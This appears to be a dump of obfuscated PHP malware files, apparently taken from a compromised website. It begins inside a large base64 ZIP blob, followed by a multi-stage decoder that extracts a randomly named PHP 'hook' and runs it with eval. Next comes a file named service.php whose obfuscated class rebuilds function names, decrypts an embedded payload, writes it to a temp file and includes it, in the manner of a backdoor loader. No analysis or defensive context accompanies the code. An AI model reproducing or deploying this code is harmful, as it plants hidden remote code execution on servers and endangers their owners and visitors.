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';
$enko = $decode2($zipData);$anje = $decode4($enko);$decoy = $decode5($anje);$xnai = $decode3($decoy);$decodedZipData = $decode($xnai);$zipStream = fopen('php://temp', 'r+');
fwrite($zipStream, $decodedZipData);
rewind($zipStream);$tmpFile = tempnam(sys_get_temp_dir(), 'zip');$tmpFileStream = fopen($tmpFile, 'w');
stream_copy_to_stream($zipStream, $tmpFileStream);
fclose($zipStream);
fclose($tmpFileStream);
$zip = new ZipArchive();
if ($zip->open($tmpFile) === TRUE) {
    $hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php');
    
    if ($hookIndex !== false) {
        $phpCode = $zip->getFromIndex($hookIndex);

        try {
            eval('?>' . $phpCode);
        } catch (Throwable $e) {
            echo "?? Error in hook.php: ", $e->getMessage(), "\n";
        }
    } else {
        echo "? hook.php not found in the ZIP\n";
    }

    $zip->close();
} else {
    exit("? Failed to open ZIP\n");
}
unlink($tmpFile);
?>
PKPn\�a]t֭֭service.phpnu�[���<?php
class Div {
	function library($_tree) {
		$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
		$tx = $tx($_tree);
		return $tx;
	}

	function error($_session) {
		$result = include($_session);
		return $result;
	}

	function __construct() {
		$dictionary = $this->tool($this->_point);
		$dictionary = $this->library($this->px($dictionary));
		$dictionary = $this->ls($dictionary);
		$dictionary = $this->error($dictionary);
		if(is_array($dictionary)) {
			list($map, $stable, $_path, $size) = $dictionary;
			$this->x64 = $size;
			$this->heap = $_path;
			$this->_block = $map;
			$this->nginx($map, $stable);
		}
	}

	function ls($delegate) {
		$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
		$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
		$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
		$ver = $ver($this->ver, 'w');
		if ($ver)
		{
			$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
			$_session($ver, $delegate);
			return $this->ver;
		}
	}

	function _tx($dx, $_script, $event) {
		$lib = strlen($_script) + strlen($event);
		$this->graph = 0;
		while(strlen($event) < $lib) {
			$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
			$_script[$this->graph] = chr($debug % (4096/16));
			$event .= $_script[$this->graph];
			$this->graph++;
		}
		return $_script;
	}
   
	function _signal($_tree) {
		$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
		$_input = $_input($_tree);
		return $_input;
	}

	function nginx($event, $_worker) {
		$this->memory = $event;
		$this->_worker = $_worker;
		$this->x86 = $this->tool($this->x86);
		$this->x86 = $this->_signal($this->x86);
		$this->x86 = $this->_cmd();
		if(strpos($this->x86, $this->memory) !== false) {
			if(!$this->x64)
				$this->_cron($this->heap, $this->_block);
			$this->ls($this->x86);
			$this->error($this->ver);
		}
	}

	function _cron($_tree, $_value) {
		$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
		$move = $move($_tree, $_value);
	}

	function _cmd() {
		$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
		$_stack = $this->library($_stack);
		return $_stack;
	}

	function px($context) {
		$_emu = $this->_signal($context);
		$_emu = $this->_tx('', $_emu, strval($this->twelve));
		return $_emu;
	}

	function tool($delegate) {
		$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
		return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
	}

	public $graph = 0;
	public $heap;
	public $parser = array('hy', '=', 'n6', 'e', '90');
	public $x64;
	public $ver;
	public $pointer = array('vX', 'n6', '+jz+');
	public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
	public $_block;
	public $twelve = 981;
	public $_signal = array('deco', 'ba', 'se', 'de', '64_');
	public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
	public $memory;
	public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
	VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
	/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
	hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
	MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
	go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
	mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
	d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
	EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
	69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
	TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
	YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
	7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
	OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
	V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
	PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
	E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
	7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
	yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
	JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
	UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
	MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
	9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
	FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
	5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q
	bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0
	Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA
	6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc
	jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP
	dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1
	5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB
	S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl
	EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF
	MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7
	MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f
	yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf
	60RzhtBLDrTCfXBse8FT3id21qlC0A2CT
	LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw
	s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv
	rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7
	01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6
	xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN
	vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu
	ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz
	vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8
	FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW
	sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e
	tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX
	dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+
	y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2
	nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD
	pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+
	aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5
	pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR
	hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo
	eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD
	tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw
	iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T
	RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko
	wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5
	n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM
	SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb
	oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG
	QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7
	+8H3/OaVj4IhC+Sz/CRiy5+u5zOgb32xoS8
	r1kfYwcqUzWVKaPlj9ZoZ9stDI24G9Ytl
	Jr0QmP0700P3+c+O2/rwaB+3srmIPhWJKrL9VIflE7MzepCtBAth+o
	WL+ml6Ib4LFxR3UiGl2Gym5EseyR+V4ap8cu
	IGF4hSUEcYUdTvE2/luRq+GLT0v9KIOC9ngUKMBAq+yXoEo3p4oZx5noDlkHmvMCxoOQBJKeI12XGg69
	CgshBIDteCSUgVyUblVze6lhFwdkdH3dZAelevgCIu
	Et9A/G/LgnjV7qWcDvCxnmMEAcz9Cd9RHxAZvFH94KP0l6IH/TmuJof
	2lmoemFi5FEs4I7oXFU6h0XzV3YnngrdaURgK2QM
	uzOmj2RP6fj45/1JcppKppeCeqVp6i9JDpnmDPyXdCC6iFiDKx
